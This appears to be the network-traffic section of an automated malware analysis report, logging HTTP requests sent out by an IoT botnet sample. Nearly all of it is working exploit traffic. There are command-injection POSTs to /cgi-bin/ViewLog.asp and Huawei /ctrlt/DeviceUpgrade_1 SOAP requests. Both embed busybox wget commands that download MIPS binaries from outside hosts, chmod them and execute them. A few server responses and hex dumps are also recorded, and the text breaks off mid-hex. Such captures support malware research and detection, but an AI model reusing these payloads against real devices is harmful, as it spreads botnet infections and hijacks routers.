                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                42192.168.2.154517294.120.96.118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.579658985 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                43192.168.2.154834031.44.2.308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.689032078 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:02.873745918 CET229INHTTP/1.1 401 Unauthorized
                                                Server: Caddy
                                                Www-Authenticate: Basic realm="restricted"
                                                Date: Thu, 23 Nov 2023 04:20:02 GMT
                                                Content-Length: 0
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                44192.168.2.154548695.59.63.1568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:02.772686005 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:03.037128925 CET113INHTTP/1.1 400 Bad Request
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                45192.168.2.153288431.136.116.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:03.520057917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:06.716850042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:12.860673904 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:24.892354965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:50.491671085 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:39.642328978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                46192.168.2.153777831.184.254.308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:03.520164967 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:04.127677917 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:04.323966026 CET932INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 682
                                                Date: Thu, 23 Nov 2023 04:20:04 GMT
                                                Keep-Alive: timeout=20
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 39 34 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/8.5.94</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                47192.168.2.1541754156.253.38.15537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:03.581041098 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:07.740854979 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:13.884772062 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:25.920284033 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 